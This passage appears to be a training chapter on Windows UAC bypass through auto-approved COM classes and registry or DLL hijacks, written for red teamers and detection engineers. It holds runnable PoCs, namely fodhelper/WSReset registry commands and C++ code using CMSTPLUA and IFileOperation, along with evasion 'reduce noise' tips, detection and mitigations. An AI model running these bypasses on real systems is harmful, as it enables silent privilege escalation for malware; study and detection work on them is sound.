Files
2026-07-18 21:50:11 +05:30

72 KiB
Raw Permalink Blame History

04 · COM-Based UAC Bypass

Audience / level: Red team operators and detection engineers; no UAC internals background assumed, ramping to advanced tradecraft. Prerequisites: basic Windows administration (registry, services, scheduled tasks), PowerShell literacy, and COM fundamentals (CLSID, moniker, activation). Estimated reading time: 90120 minutes. After this chapter you will be able to explain how UAC elevation actually works, turn auto-approved COM classes into silent High-integrity execution, reproduce nine documented bypass families in a lab, and predict the telemetry each one leaves behind.

Contents


1. UAC internals: what is being bypassed

User Account Control (UAC), introduced in Windows Vista, forces even members of the local Administrators group to run with a filtered standard-user token until a process explicitly requests elevation ([3]). A "UAC bypass" is any technique that obtains a High-integrity, full-administrator process without the interactive consent or credential prompt ([2]). Everything in this chapter is a way to short-circuit one specific hop of the elevation pipeline described below.

Beginner note: A token is the kernel object that carries a logon session's identity: user and group SIDs, privileges, and an integrity level. A filtered token (also called a restricted or limited token) is a copy of the administrator's real token with the powerful group SIDs and privileges stripped out — produced by NtFilterToken. The two tokens are linked: the full one is kept by the system and can be reached through the TokenLinkedToken information class, which is exactly what legitimate elevation retrieves.

Split tokens at logon. When a "protected administrator" (an admin running in Admin Approval Mode) logs on interactively, LSASS (lsass.exe) creates two linked tokens: the full-privilege token and the filtered token. explorer.exe — and therefore every program you start from the shell — runs on the filtered token at Medium integrity ([3]). Token state is queryable via GetTokenInformation/NtQueryInformationToken with TOKEN_ELEVATION_TYPE (TokenElevationTypeDefault=1, TokenElevationTypeFull=2, TokenElevationTypeLimited=3), TokenElevation, TokenLinkedToken, and TokenIntegrityLevel.

Beginner note: Mandatory Integrity Control (MIC) labels every securable object and every token with an integrity level (IL), encoded as a mandatory-label SID of the form S-1-16-x. The write rule is "no write up": a process cannot modify objects labeled above its own IL. UIPI (User Interface Privilege Isolation) applies the same idea to window messages: a lower-IL process cannot send input to a higher-IL window unless the sender's manifest sets uiAccess="true" and the binary is signed and installed in a secure location.

Integrity level RID x in S-1-16-x Hex Typical holder
Untrusted 0 0x0 Anonymous / heavily sandboxed
Low 4096 0x1000 Browsers, sandboxed renderers
Medium 8192 0x2000 Default user processes (filtered admin token)
Medium Plus 8448 0x2100 explorer.exe (Vista-era)
High 12288 0x3000 Elevated administrator processes
System 16384 0x4000 NT AUTHORITY\SYSTEM services
Protected 20480 0x5000 Protected processes (PPL)

The elevation pipeline. When a process needs elevation — its manifest declares requestedExecutionLevel level="requireAdministrator", or the caller used ShellExecuteEx with lpVerb="runas" — process creation fails with ERROR_ELEVATION_REQUIRED (740) and the request is forwarded to the Application Information service (AppInfo; appinfo.dll hosted in svchost.exe, historically C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, with per-service hosting on Windows 10 1703+). AppInfo is the elevation broker: it evaluates policy, manifest, signature, and path trust, then asks the user. James Forshaw documented its local RPC/ALPC interface — UUID {201ef99a-7fa0-444c-9399-19ba84f12a1a} — and the RAiLaunchAdminProcess call that ultimately starts the approved process ([7]).

Beginner note: consent.exe is the Consent UI — the dimmed-screen "Do you want to allow this app to make changes?" dialog. AppInfo launches it as NT AUTHORITY\SYSTEM at System integrity on the Secure Desktop, a separate Winlogon desktop where only SYSTEM-trusted processes can render or receive input, which defeats UI spoofing (unless weakened with PromptOnSecureDesktop=0). On approval, AppInfo creates the new process with the full token at High IL; on denial, nothing runs.

Policy knobs live under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ([4]):

Value Default Meaning
EnableLUA 1 0 disables UAC entirely (breaks Store apps)
ConsentPromptBehaviorAdmin (CPBA) 5 0 = elevate without prompting; 1 = credentials on secure desktop; 2 = consent on secure desktop ("Always notify"); 3 = credentials; 4 = consent; 5 = consent for non-Windows binaries
ConsentPromptBehaviorUser 0 = auto-deny; 1 = credentials on secure desktop; 3 = credentials
PromptOnSecureDesktop (POSD) 1 0 = consent UI on the interactive desktop (UI-spoofable)
FilterAdministratorToken 0 Built-in Administrator has no split token and auto-elevates everything — UAC bypass is moot there
ValidateAdminCodeSignatures 0 Require elevated binaries to be signed
EnableSecureUIAPaths 1 Restrict uiAccess="true" to secure locations
LocalAccountTokenFilterPolicy 0 "Remote UAC" token filtering for local accounts over the network — a lateral-movement concern (see the DCOM chapter), not a local-bypass knob

The UI slider maps onto policy: Always notify = CPBA 2 / POSD 1; Default = CPBA 5 / POSD 1; no-dim = CPBA 5 / POSD 0; Never notify = CPBA 0 / POSD 0 ([4]). COMAutoApprovalList, the registry list of COM classes approved for silent elevation, is covered in section 2.

Auto-elevation — the "backdoor" everyone abuses. Since Windows 7, to reduce prompt fatigue, a process elevates with no prompt when all of the following hold: (a) its manifest sets autoElevate="true" (or it sits on AppInfo's internal auto-approve EXE list, e.g. mmc.exe), (b) it resides in a trusted secure directory (%SystemRoot%\System32 and similar), (c) it is signed by the Microsoft/Windows publisher, and (d) policy is at default (CPBA=5) ([3], [4]). Two further silent-elevation surfaces exist: approved COM classes (COMAutoApprovalList) and certain scheduled tasks configured to run "with highest privileges."

Key idea: Every bypass family in section 3 poisons exactly one of these trust inputs: what the auto-elevated binary resolves (registry shell associations), what it loads (DLL search order), where it "lives" (mock trusted directories), what environment it inherits (%windir%, profiler variables), or which COM class AppInfo auto-approves.

UAC is not a security boundary — and what a bypass gains. Microsoft explicitly declines to service UAC bypasses as security vulnerabilities: the MSRC reply quoted in public research reads "we don't consider UAC a hard security boundary, but rather, a customizable enhancement..." (MSRC case 64957, per Stefan Kanthak ([21]); see the Microsoft Security Servicing Criteria ([6])). The practical consequences: most bypasses never receive CVEs or patches, they die only through incidental OS hardening, and the reference corpus (UACME, section 4) still lists roughly 25+ working methods as of v3.7.x in 2026 ([1]). Operationally, a bypass converts code execution as a protected admin at Medium IL into a High-IL full-token process silently — no prompt to scare the user, no credentials to steal. It presupposes you already run code as an admin-group user; from a standard user there is nothing to bypass. It yields High IL, not SYSTEM — unless you chain further (section 3.4 yields SYSTEM directly). At least 60 named threat groups and malware families use T1548.002 in the wild, including LockBit 2.0/3.0, BlackCat, Avaddon, BADHATCH, Raspberry Robin, Saint Bot, ZeroT, Pupy, WarzoneRAT, and KONNI ([2]).

Legal: Every technique here executes code with elevated privileges on a machine. Use only inside an authorized engagement with written scope, or in your own lab VMs. Several families are near-zero-false-positive detection opportunities — expect competent blue teams to catch lazy execution.


2. The COM connection: elevation moniker and auto-approved classes

COM enters the UAC story through a documented Microsoft feature: the COM Elevation Moniker ([5]). Instead of CoCreateInstance, the client binds an object by name:

CoGetObject(L"Elevation:Administrator!new:{CLSID}", &bind_opts, riid, &ppv);

with BIND_OPTS3.dwClassContext = CLSCTX_LOCAL_SERVER. This requests an out-of-process, elevated COM server: the activation request goes through AppInfo, which applies the same trust evaluation as for an EXE launch. For classes on the COMAutoApprovalListHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList — activation from a Medium-IL caller on default UAC policy is silent: consent.exe never runs ([5], [39]).

Beginner note: A moniker is COM's "object by name" mechanism: a string like Elevation:Administrator!new:{...} encodes how to bind (elevated, as administrator, new instance) plus what to bind (the CLSID). CoGetObject parses the string, delegates to the moniker implementation, and returns an interface pointer — here, a pointer into a High-IL server process. Per-class elevation support is flagged in the registry by an Elevation subkey with Enabled = 1 under HKCR\CLSID\{...}; approval for silent elevation additionally requires the class to be listed in COMAutoApprovalList ([5]).

Figure 1 — The COM elevation moniker: approved classes bind silently, everything else prompts How to read this figure: a Medium-IL caller issuing CoGetObject("Elevation:Administrator!new:{CLSID}") reaches AppInfo, which consults the auto-elevation criteria (autoElevate manifest, signature, secure directory, or the class-level Elevation\Enabled registration and COMAutoApprovalList). The red path is the one this chapter weaponizes — a silent High-IL object; the slate path is the consent prompt every bypass is trying to avoid.

The conceptual shift matters for offense: EXE-based auto-elevation asks AppInfo "do I trust this program?", while COM auto-elevation asks "do I trust this class?" — and trusted classes expose methods. If any reachable method on an auto-approved class lets you start a process, write a file, or edit the registry, you own a silent Medium-to-High primitive ([23], [39]).

Figure 2 — Auto-elevated COM: the prompt that never appears How to read this figure: lane A is the normal path (Medium-IL process → AppInfo → consent prompt → High-IL process). Lane B is the COM path: activating an auto-elevated class returns a High-IL object with no prompt at all, and its methods — e.g. IFileOperation.CopyItem — then act with elevated rights, such as writing into %windir%\System32.


3. Technique catalog

Nine bypass families, each with mechanics, prerequisites, a runnable PoC, and its telemetry. UACME method numbers are cited as [UACME #n]; "fixed in" data is verbatim from the UACME v3.7.x README ([1]). Remember the standing caveat: "unfixed" means "UACME-listed unfixed", not a guarantee on a specific patched build — independent testers report inconsistent behavior across 22H225H2 from silent hardening and AV/EDR interference, so always re-verify in a lab matching your target build.

Two catalogued surfaces are summarized here rather than given full templates. UIPI/uiAccess GUI hacks: hijack duser.dll/osksupport.dll into osk.exe, then leverage uiAccess to drive an elevated window (#32, xi-tauw, UNFIXED); or duplicate/modify a UIAccess token while lowering the IL, keeping uiAccess to send synthetic input across the boundary (#55/#79, Forshaw/Kanthak — fixed RS5 17763 plus 2024 hardening that strips UIAccess when the IL is lowered; targets osk.exe, msconfig.exe, mmc.exe) ([41]). Appcompat/misc: the RedirectEXE shim (#4 — Downdelph built custom SDBs; fixed via KB3045645/KB3048097 and sdbinst auto-elevation removal), a shim memory patch (#11), the InfDefaultInstall whitelist (#28 — MS14-060/Sandworm; removed from the auto-approve EXE list), an auto-elevate manifest trick on manifest-less MS binaries (taskhost/tzsync, #18, fixed RS1 14371), and .NET deserialization in Event Viewer (#73, orange_8361 + antonioCoco, fixed 24H2 by the EventViewer redesign) ([1]).

3.1 Registry shell-association hijacks (fodhelper, computerdefaults, eventvwr, sdclt, WSReset)

MITRE: T1548.002 · Since: 20162019, enigma0x3 / winscripting.blog / Hashim Jawad / others below · Affects: Windows 7 through Windows 11, per binary (table below)

The most popular family, and fully fileless. The generic principle: an auto-elevating EXE internally ShellExecutes a protocol or file association; the per-user hive HKCU\Software\Classes overrides HKLM\Software\Classes, is writable at Medium IL, and the elevated process resolves the verb from the attacker's hive — executing the attacker's (Default) command with its inherited High-integrity token. No prompt, no file copy into protected paths.

Mechanics

  1. Choose an auto-elevated binary that resolves a shell association at runtime (table below).
  2. Write the association's verb command under HKCU\Software\Classes\<ProgID-or-protocol>\shell\open\command (or Shell\Open\command), pointing (Default) at the payload.
  3. Empty the verb's DelegateExecute value — this step is critical: when DelegateExecute is populated, the shell routes the verb to the registered COM handler and ignores your (Default) command.
  4. Launch the auto-elevated binary. It auto-elevates silently (default policy), queries the association, and starts the payload at High IL.
  5. Delete the planted key for cleanup.
Binary Hijacked key Builds Status / UACME Source
fodhelper.exe (Manage Optional Features) HKCU\Software\Classes\ms-settings\Shell\Open\command Win10 10240 → Win11 UNFIXED (#33; protocol variant #67 Arush Agarampur; ProgID variant #70 V3ded ([43])) winscripting.blog, May 12 2017 ([12])
computerdefaults.exe same ms-settings key Win10 RS4 17134+ UNFIXED (#62) winscripting.blog ([12])
eventvwr.exe HKCU\Software\Classes\mscfile\shell\open\command Win710 FIXED in Win10 RS2/1703 build 15031+ (Event Viewer redesigned) Matt Nelson + Matt Graeber, Aug 15 2016 ([8])
sdclt.exe wave 1 (App Paths) HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe Win10 1024016215 FIXED RS3 (#29) enigma0x3, Mar 14 2017 ([10])
sdclt.exe wave 2 (Folder) HKCU\Software\Classes\Folder\shell\open\command Win10 1024017025 FIXED RS4 (#31) enigma0x3, Mar 17 2017 ([11])
sdclt.exe wave 3 (ShellRegMod) registry modification variant Win10 14393+ UNFIXED (#53) Emeric Nasi / sevagas ([16])
WSReset.exe HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command Win10 17134/18031809 #56 FIXED Win11 22000; protocol variant #68 (Arush Agarampur) UNFIXED from 17763 Hashim Jawad, Mar 2019 ([15])

Adjacent surfaces worth knowing: slui.exe/changepk.exe (#45 fixed 19041; #61 UNFIXED from 14393), COM-handler hijack under HKCU\Software\Classes\CLSID\{...} against mmc.exe/recdisc.exe (#40/#47, fixed 19H1 18362), and a BitlockerWizardElev race (#46, fixed RS4) ([1]). In the wild: fodhelper via Earth Lusca, Raspberry Robin, Saint Bot, KOCTOPUS; eventvwr via ZeroT, Pupy, Koadic, BitPaymer, Grandoreiro ([2]).

Prerequisites

Requirement Detail
Privileges Code execution as a protected administrator (Medium IL); HKCU is writable
OS/build Per table; fodhelper/computerdefaults are the modern defaults
Config Default UAC policy (CPBA=5); "Always notify" (CPBA=2) blocks the family

Proof of concept

# fodhelper — the canonical chain ([12])
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /d "" /f
C:\Windows\System32\fodhelper.exe          # payload starts at High IL
reg delete "HKCU\Software\Classes\ms-settings" /f   # cleanup
# WSReset — ms-windows-store AppID verb ([15])
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /v DelegateExecute /d "" /f
C:\Windows\System32\WSReset.exe
# eventvwr (pre-15031 only) — mscfile verb ([8])
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\path\payload.exe" /f
C:\Windows\System32\eventvwr.exe           # eventvwr -> mmc.exe eventvwr.msc -> payload High IL

(Metasploit ships exploit/windows/local/bypassuac_eventvwr for the legacy variant ([38]); Atomic Red Team covers fodhelper, eventvwr, sdclt, and WSReset #23 ([31]) — see section 4.)

OpSec & detection

  • Sysmon 12/13 on the §5 registry paths — the write of (Default) plus an emptied DelegateExecute, followed within seconds by the matching System32 binary, is the classic automated chain (Splunk "WSReset UAC Bypass" ([33]); Sigma has per-technique registry_set rules ([37])).
  • Sysmon 1: a High-integrity child process (cmd.exe/powershell.exe/payload in user paths) whose parent is a known auto-elevate binary is near-zero false positive (Splunk "FodHelper UAC Bypass" ([32]), "Windows UAC Bypass Suspicious Child Process" ([36])).
  • Reduce noise: write, launch, clean up in quick succession; prefer payloads whose Image is a signed binary; remember the registry write happens at Medium IL and is fully visible to EDR even when the elevated child is not.

Mitigations

  • Set the slider to Always notify (CPBA=2, POSD=1) — kills this family outright ([4]).
  • WDAC/AppLocker rules blocking child processes of auto-elevate binaries; audit HKCU\Software\Classes\ association keys for the watched ProgIDs ([44]).

3.2 CMSTPLUA and ICMLuaUtil (elevated ShellExec and friends)

MITRE: T1548.002 · Since: Oddvar Moe, [UACME #41] · Affects: Windows 7 7600 → present, UNFIXED ([1])

The elevated-COM workhorse. The COM class CMSTPLUA (CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}, implemented by cmluautil.dll) is auto-approved for silent elevation and exposes the undocumented interface ICMLuaUtil (IID {6EDD6D74-C007-4E75-B76A-E5740995E24C}), whose ShellExec method starts an arbitrary process from the elevated server ([1], [22]). Used in the wild by Avaddon, BADHATCH, LockBit 3.0, FudCrypt, and the 2026 JDownloader supply-chain malware ([2], [23]); elevated COM abuse also appears in in-memory loaders dropping ScreenConnect ([45]).

Figure 3 — CMSTPLUA / ICMLuaUtil chain How to read this figure: activation of {3E5FC7F9-9A51-4367-9063-A120244FBEC7} through the elevation moniker yields an auto-elevated object; binding ICMLuaUtil and calling ShellExec("cmd.exe", ...) produces a High-IL child process. The variant note marks SetRegistryStringValue — an elevated registry write off the same interface.

Mechanics

  1. CoInitializeEx, then build the moniker string Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}.
  2. CoGetObject with BIND_OPTS3 (dwClassContext = CLSCTX_LOCAL_SERVER) — AppInfo finds the class on COMAutoApprovalList and starts the elevated COM server with no consent UI.
  3. Query the returned object for ICMLuaUtil ({6EDD6D74-C007-4E75-B76A-E5740995E24C}).
  4. Call ShellExec — signature (undocumented; sits at the vtable slot after six placeholder methods): HRESULT ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) — e.g. ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW) → elevated process, no prompt on default UAC ([1], [22]).
  5. Variants on the same interface: ICMLuaUtil::CallCustomActionDll runs an arbitrary DLL export elevated ([22]); the assigned chain diagram notes a SetRegistryStringValue method for elevated registry writes (signature not documented in our sources — verify in lab).
  6. Modern wrinkle (20242026 research, codedintrusion / g3tsyst3m): on current Win10/11 builds real-world loaders add PEB masquerading before CoGetObject — overwriting PEB.ImagePathName/FullPath to pose as a trusted binary such as explorer.exe/conhost.exe — because AppInfo scrutinizes the caller ([22], [23]).

Prerequisites

Requirement Detail
Privileges Medium-IL process of a protected administrator
OS/build Windows 7 7600 → present per UACME; behavior on latest builds is version-dependent (verify in lab)
Config Default UAC policy; class must remain on COMAutoApprovalList
Tooling Compiled C/C++ (or reflective loader); no documented PowerShell one-liner for the raw interface

Proof of concept

// Minimal CMSTPLUA bypass — bind the elevated object, ShellExec a command ([1], [22])
#include <windows.h>
#include <objbase.h>

const CLSID CLSID_CMSTPLUA  = {0x3E5FC7F9,0x9A51,0x4367,{0x90,0x63,0xA1,0x20,0x24,0x4F,0xBE,0xC7}};
const IID   IID_ICMLuaUtil  = {0x6EDD6D74,0xC007,0x4E75,{0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C}};

// Undocumented interface; vtable layout per public reversing ([22]): six placeholders, then ShellExec
struct ICMLuaUtil : IUnknown {
    virtual HRESULT STDMETHODCALLTYPE r0()=0; virtual HRESULT STDMETHODCALLTYPE r1()=0;
    virtual HRESULT STDMETHODCALLTYPE r2()=0; virtual HRESULT STDMETHODCALLTYPE r3()=0;
    virtual HRESULT STDMETHODCALLTYPE r4()=0; virtual HRESULT STDMETHODCALLTYPE r5()=0;
    virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR f, LPCWSTR p, LPCWSTR d, ULONG m, ULONG s)=0;
};

int wmain() {
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    ICMLuaUtil* p = NULL;
    HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
                             &bo, IID_ICMLuaUtil, (void**)&p);
    if (SUCCEEDED(hr)) {   // 0 == SEE_MASK_DEFAULT; failure means policy/build blocked the silent bind
        p->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, 0, SW_SHOW);
        p->Release();
    }
    CoUninitialize();
    return 0;
}

OpSec & detection

  • Process lineage: the elevated child appears under a COM surrogate/dllhost-style host rather than under your Medium-IL process — but the grandchild (cmd.exe at High IL with no consent.exe on the wire) is the tell: silent elevation events without a consent prompt are a documented hunting pattern (section 5).
  • String indicators: the literal Elevation:Administrator!new: moniker and the CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7} — frequently stored reversed or XORed in malware (T1027); hunt both forms. PEB masquerading defeats naive parent-image checks; correlate with Sysmon EID 10 (process access) around activation time.
  • Reduce noise: prefer CallCustomActionDll or SetRegistryStringValue-style side effects over spawning cmd.exe; keep payloads inside signed LOLBins so the High-IL child's Image blends in.

Mitigations

  • Always notify policy blocks the silent activation ([4]).
  • WDAC/AppLocker child-process and user-writable-path DLL rules; alert on any process binding auto-approved elevated classes outside known system components; monitor COMAutoApprovalList for tampering ([44]).

3.3 IFileOperation (privileged file copy into protected directories)

MITRE: T1548.002 · Since: Leo Davidson lineage; underpins [UACME #1#3, #8, #10, #12#23, #57, #77] · Affects: Windows 7 → present, UNFIXED ([1])

IFileOperation is the documented shell copy interface (shobjidl_core.h) exposed by the class CLSID_FileOperation = {3AD05575-8857-4850-9277-11B85BDB8E09} — and that class is auto-approved for silent elevation. Bound through the elevation moniker, it gives a Medium-IL process a privileged copy primitive: write attacker files into %SystemRoot%\System32 (or the sysprep directory) without ever touching CreateFile with elevated rights itself. This is the classic arming step for the DLL-hijack family (section 3.5); WarzoneRAT uses it on older OSes ([1], [2]).

Figure 4 — IFileOperation bypass chain How to read this figure: (1) bind elevated IFileOperation {3AD05575-8857-4850-9277-11B85BDB8E09}, (2) set silent operation flags, (3) CopyItem the payload DLL into C:\Windows\System32\..., (4) PerformOperations(), then (5) an auto-elevated process loads the planted DLL. The teal note marks the defensive signal: a Medium-IL process writing into System32 via COM.

Mechanics

  1. CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}", ...) with BIND_OPTS3/CLSCTX_LOCAL_SERVER → elevated IFileOperation ([1]).
  2. SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI) — suppress every UI and confirmation path.
  3. Build IShellItems for the source DLL and destination folder; CopyItem(src, destFolder, NULL, NULL).
  4. PerformOperations() — the copy executes with High-IL rights, landing the DLL inside the protected directory.
  5. Launch the auto-elevated binary whose import table resolves the planted DLL name first (section 3.5) → attacker code runs inside a High-IL Microsoft-signed process.

Prerequisites

Requirement Detail
Privileges Medium-IL process of a protected administrator
OS/build Windows 7 → present per UACME (verify exact copy semantics per build in lab)
Config Default UAC policy
Payload A DLL matching the target binary's hijackable import (name, exports, architecture)

Proof of concept

// IFileOperation elevated copy — plant evil.dll into System32\sysprep (arming step) ([1])
#include <windows.h>
#include <shobjidl.h>
#include <shlobj.h>

const CLSID CLSID_FileOperation = {0x3AD05575,0x8857,0x4850,{0x92,0x77,0x11,0xB8,0x5B,0xDB,0x8E,0x09}};

int wmain() {
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    IFileOperation* pfo = NULL;
    HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}",
                             &bo, IID_IFileOperation, (void**)&pfo);
    if (SUCCEEDED(hr)) {
        pfo->SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI);
        IShellItem *src = NULL, *dst = NULL;
        SHCreateItemFromParsingName(L"C:\\Users\\attacker\\evil-cryptbase.dll", NULL, IID_IShellItem, (void**)&src);
        SHCreateItemFromParsingName(L"C:\\Windows\\System32\\sysprep",        NULL, IID_IShellItem, (void**)&dst);
        pfo->CopyItem(src, dst, NULL, NULL);
        pfo->PerformOperations();            // file lands in the protected directory
        src->Release(); dst->Release(); pfo->Release();
    }
    CoUninitialize();
    return 0;
}

OpSec & detection

  • Sysmon 11 (file create): a write into %SystemRoot%\System32 (or ...\sysprep) attributed to a Medium-IL, non-system process is the canonical signal — the figure's teal note.
  • Sysmon 7 (image load) + API telemetry: the next event is a Microsoft-signed auto-elevated binary loading the planted DLL from a non-standard location (section 3.5); ETW/API monitors see CoGetObject with the FileOperation CLSID and IFileOperation::CopyItem destinations outside user-writable paths.
  • Reduce noise: stage the source DLL on disk briefly and delete after PerformOperations; reuse the destination binary's real expected DLL name so image-load allow-lists match.

Mitigations

  • Always notify blocks the silent bind ([4]).
  • WDAC policy blocking unsigned DLL loads by elevated Microsoft binaries; enable the PreferSystem32Images mitigation; alert on System32 writes by non-trusted installers ([44]).

3.4 ElevatedFactoryServer (fileless COM to Task Scheduler to SYSTEM)

MITRE: T1548.002 + T1053.005 · Since: zcgonvh, [UACME #74] · Affects: Windows 8.1 9600+, UNFIXED ([1], [19])

The crown jewel of the family: a fully fileless chain that yields SYSTEM, not just High IL. The auto-approved class ElevatedFactoryServer ({A6BFEA43-501F-456F-A845-983D3AD7B8F0}) exposes IElevatedFactoryServer (IID {804bd226-af47-4d71-b492-443a57610b08}) with a ServerCreateInstance method that instantiates arbitrary COM classes inside the elevated surrogate — including the Task Scheduler's TaskScheduler class ({0f87369f-a4e5-4cfc-bd3e-73e6154572dd}), whose ITaskService then registers a task running as SYSTEM ([19]).

Mechanics

  1. CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ...) → elevated IElevatedFactoryServer. It is an InProcServer32 class, so activation runs inside a surrogate/dllhost governed by the LaunchPermission/AccessPermission security descriptors on HKLM\SOFTWARE\Classes\AppID\{A6BFEA43-...} ([19]).
  2. Call ServerCreateInstance({0f87369f-a4e5-4cfc-bd3e-73e6154572dd} /* CLSID TaskScheduler */, IID_IUnknown, ...) → an elevated ITaskService proxy.
  3. ITaskService::Connect, then register a task whose XML sets <Principal><UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel> with an arbitrary command action.
  4. Run the task (or set an immediate trigger) → the command executes as NT AUTHORITY\SYSTEM. Entirely in-memory/fileless.

Prerequisites

Requirement Detail
Privileges Medium-IL process of a protected administrator
OS/build Windows 8.1 9600+ per UACME (verify in lab on latest builds)
Config Default UAC policy; class on COMAutoApprovalList; AppID SDs at defaults

Proof of concept

// (illustrative sketch — vtable order per zcgonvh's write-up ([19]); verify against your build)
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
IElevatedFactoryServer* pefs = NULL;
CoGetObject(L"Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}",
            &bo, IID_IElevatedFactoryServer /* {804bd226-af47-4d71-b492-443a57610b08} */, (void**)&pefs);
// elevated ITaskService straight out of the factory — no file ever touches disk
ITaskService* pts = NULL;
pefs->ServerCreateInstance(CLSID_TaskScheduler /* {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} */,
                           IID_IUnknown, (IUnknown**)&pts);
pts->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
// ... IRegisteredTask with <UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel> -> SYSTEM shell

OpSec & detection

  • Sysmon 1: svchost.exe (Schedule service) spawning the task action as SYSTEM — parent is Task Scheduler, not your process; correlate with a preceding silent elevation (no consent.exe).
  • Task registration + strings: Security/Sysmon task-scheduler events for a new SYSTEM-principal task registered outside admin tooling; Elevation:Administrator!new: plus CLSIDs {A6BFEA43-501F-456F-A845-983D3AD7B8F0} / {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} in binaries or memory.
  • Reduce noise: use a one-shot time trigger and delete the task immediately; name it under \Microsoft\Windows\-looking paths; no dropped binary means Sysmon 11 stays quiet.

Mitigations

  • Always notify policy; WDAC restricting which processes may activate auto-approved classes; alert on dllhost.exe/svchost.exe hosting unusual class activations followed by task registration ([4], [44]).

3.5 DLL hijacking of auto-elevated binaries

MITRE: T1548.002 + T1574.001/.002 · Since: Windows 7 era ([UACME #1] onward) · Affects: per-binary, table below

The largest historical family. The pattern: find a Microsoft-signed auto-elevate EXE that imports a DLL not in KnownDlls by an unqualified name, then drop a same-named DLL where the loader searches first — the application directory, an SxS DotLocal redirection, or the WOW64 logger path. The elevated EXE loads the attacker's DLL and executes it at High IL. Because the binary lives in a protected directory, the plant usually needs a privileged write: IFileOperation (section 3.3), a mock trusted directory (section 3.6), or a per-user environment trick ([1]).

Mechanics

  1. Select a target from the auto-elevate inventory and identify its hijackable import (unqualified name, absent from KnownDlls).
  2. Build a proxy/payload DLL exporting the expected names (forwarding to the real DLL where stability matters).
  3. Plant the DLL via a privileged-copy primitive (section 3.3/3.6) or a user-writable path that outranks System32 for this binary.
  4. Launch the auto-elevated EXE; the loader resolves the attacker DLL inside the High-IL process.

Representative targets ([1] unless noted):

Binary Hijacked DLL UACME Status
sysprep.exe cryptbase.dll, dbgcore.dll, unbcl.dll, Actionqueue.dll, unattend.dll, ShCore.dll, comctl32.dll (SxS .local) #1, #12, #17, #8, #57, #2, #21 fixed variously 960016232
cliconfg.exe ntwdblib.dll #7/#15 fixed RS1 — used by Operation Honeybee
migwiz.exe/mcx2prov.exe via wusa.exe /extract cryptbase/cryptsp/wdscore #6 fixed TH1 (WUSA /extract removed); ShimRat hijacked cryptbase.dll in migwiz
consent.exe itself comctl32.dll DotLocal #22 fixed only in Win11 24H2/25H2
dccw.exe GdiPlus.dll via SxS + NTFS junction #36/#37 SandboxEscaper race, fixed 24H2
mmc.exe atl.dll #77 UNFIXED
pkgmgr.exe DismCore.dll #23 UNFIXED since Win7
msdt.exe (SysWOW64)/sdiagnhost.exe BluetoothDiagnosticUtil.dll #72 Emeric Nasi, UNFIXED ([17])
iscsicpl.exe (SysWOW64) iscsiexe.dll #76 UNFIXED
SystemPropertiesAdvanced.exe srrstr.dll via %LocalAppData%\Microsoft\WindowsApps #54 egre55, fixed 19H1 ([42])
taskhostw.exe pcadm.dll / PerformanceTraceHandler.dll #69 / #80 fixed 24H2 / fixed 25H2 (Win11 26100→)
any elevated 32-bit EXE wow64log.dll (WOW64 logger) #30 fixed 24H2/25H2

Two loader-agnostic variants widen the surface:

  • .NET profiler variant [UACME #39, Stefan Kanthak, UNFIXED]: set per-user environment COR_ENABLE_PROFILING=1, COR_PROFILER={GUID}, COR_PROFILER_PATH=C:\...\evil.dll under HKCU\Environment, then launch any auto-elevated .NET process (e.g. mmc.exe) — the CLR loads the "profiler" DLL elevated ([18], [21]).
  • AppVerifier/IFEO variant [#9]: an IFEO VerifierDlls value causes the attacker DLL to be loaded by elevated processes.

Prerequisites

Requirement Detail
Privileges Medium IL; plus a privileged write primitive unless the load path is user-writable (#39, #54 patterns)
OS/build Per table; several entries remain UNFIXED per UACME v3.7.x (verify in lab)
